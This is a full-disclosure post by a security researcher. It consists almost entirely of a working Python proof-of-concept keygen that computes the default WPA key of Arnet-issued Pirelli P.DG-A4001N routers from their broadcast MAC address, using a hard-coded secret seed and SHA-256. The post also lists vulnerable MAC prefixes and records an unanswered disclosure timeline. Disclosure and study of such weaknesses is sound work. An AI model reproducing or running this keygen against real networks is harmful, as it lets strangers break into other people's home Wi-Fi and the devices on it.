Pirelli Router P.DG-A4001N WPA Key Reverse Engineering

`#!/usr/bin/env python  
# -*- coding: utf-8 -*-  
  
'''  
@license: GPLv3  
@author : Eduardo Novella   
@contact: ednolo[a]inf.upv.es   
@twitter: @enovella_   
  
-----------------  
[*] Target :   
-----------------  
Vendor : ADB broadband Pirelli  
Router : Model P.DG-A4001N  
ISP : Arnet Telecom Argentina  
Possible-targets : http://hwaddress.com/?q=ADB%20Broadband%20Italia  
Firmware : http://foro.seguridadwireless.net/puntos-de-acceso-routers-switchs-y-bridges/obtener-firmware-adb-p-dg-a4001n-%28arnet-telecom-argentina%29/   
  
-----------------  
[*] References :   
-----------------  
[0] [AUSTRIA] A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness http://sviehb.wordpress.com/2011/12/04/prg-eav4202n-default-wpa-key-algorithm/  
[1] [ITALY] Alice AGPF: The algorithm! http://wifiresearchers.wordpress.com/2010/06/02/alice-agpf-lalgoritmo/  
  
-----------------  
[*] Test vectors :   
-----------------  
http://www.arg-wireless.com.ar/index.php?topic=1006.msg6551#msg6551  
  
-----------------------  
[*] Acknowledgements :   
-----------------------  
Thanks to fernando3k for giving me the firmware in order to do reverse-engineering on it , and christian32 for showing me a bunch of test vectors.  
  
-----------------  
[*] Timeline :   
-----------------  
2014-09-11 Found the algorithm  
2014-09-12 Send a message to @ArnetOnline via Twitter @enovella_  
2014-09-15 Send a message via website, still looking for a simple mail (http://www.telecom.com.ar/hogares/contacto_tecnico.html)  
2014-09-16 Send another message to Arnet via website. First reply via twitter where they redirect me to the website form.  
2014-09-19 Direct message via twitter. I talk with them about the critical vulnerability and offer them an email with PGP key  
2014-09-20 More twitter PM about the same. They do not want to be aware about the problem though.  
2014-09-23 I assume that Arnet does not care about its clients' security at all regarding its little interest.  
2014-09-24 I send the problem to the vendor ADB Pirelli via website form  
2014-09-28 I send the problem to the vendor ADB Pirelli via email to Switzerland  
Full disclosure   
  
-----------------  
[*] TODO :   
-----------------  
1.- Reverse-engineering the function generateSSIDfromTheMac. It is not relevant though.  
2.- Extract more firmwares from others vendors and send them to me.  
  
'''  
  
import re  
import sys  
import hashlib  
import argparse  
  
VERSION = 1  
SUBVERSION = 0  
DATEVERSION = '2014-09-11'   
URL = 'http://www.ednolo.alumnos.upv.es'  
  
def genkey(mac,stdout='True'):  
seed = ('\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' +  
'\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8')  
  
lookup = '0123456789abcdefghijklmnopqrstuvwxyz'  
  
sha256 = hashlib.sha256()  
sha256.update(seed)  
sha256.update('1236790')  
sha256.update(mac)  
  
digest = bytearray(sha256.digest())  
  
if (stdout):  
print "[+] SHA256 : %s" % sha256.hexdigest()  
  
return ''.join([lookup[x % len(lookup)] for x in digest[0:10]])  
  
  
def printTargets():  
print "[+] Possible vulnerable targets so far:"  
for t in targets:  
print ("\t bssid: {0:s}:XX:XX:XX \t essid: Wifi-Arnet-XXXX".format(t.upper()))  
  
sys.exit()  
  
def checkTargets(bssid):  
supported = False  
for t in targets:  
if ( bssid.upper().startswith(t) ):  
supported = True  
break  
if (not supported):  
print "[!] Your bssid looks like not supported! Generating anyway."  
  
def main():  
  
global targets  
version = " {0:d}.{1:d} [{2:s}] ----> {3:s}".format(VERSION,SUBVERSION,DATEVERSION,URL)   
targets = ['00:08:27','00:13:C8','00:17:C2','00:19:3E','00:1C:A2','00:1D:8B','00:22:33','00:8C:54',  
'30:39:F2','74:88:8B','84:26:15','A4:52:6F','A4:5D:A1','D0:D4:12','D4:D1:84','DC:0B:1A','F0:84:2F']  
  
parser = argparse.ArgumentParser(description='''>>> PoC WPA keygen for WiFi Networks deployed by Arnet in Argentina. So far   
only WiFi networks with essid like Wifi-Arnet-XXXX and manufactured by Pirelli are   
likely vulnerable. See http://ednolo.alumnos.upv.es/ for more details.  
Twitter: @enovella_ and email: ednolo[at]inf.upv.es''',  
epilog='''(+) Help: python %s -b 74:88:8B:AD:C0:DE ''' %(sys.argv[0])  
)  
  
maingroup = parser.add_argument_group(title='required')  
maingroup.add_argument('-b','--bssid', type=str, nargs='?', help='Target mac address')  
parser.add_argument('-v', '--version', action='version', version='%(prog)s'+version)  
command_group = parser.add_mutually_exclusive_group()  
command_group.add_argument('-l','--list', help='List all vulnerable targets (essid Wifi-Arnet-XXXX)', action='store_true')  
  
args = parser.parse_args()  
  
if args.list:  
printTargets()  
elif args.bssid:  
mac_str = re.sub(r'[^a-fA-F0-9]', '', args.bssid)  
if len(mac_str) != 12:  
sys.exit('[!] Check MAC format!\n')  
  
try:  
mac = bytearray.fromhex('%012x' %(int(mac_str,16) +1))  
except:  
sys.exit('[!] Use real input :)')  
  
checkTargets(args.bssid)  
print '[+] SSID : Wifi-Arnet-XXXX'   
print '[+] MAC : %s' % args.bssid  
print '[+] WPA key : %s' % (genkey(mac,False))  
else:  
parser.print_help()  
  
if __name__ == "__main__":  
main()  
  
  
`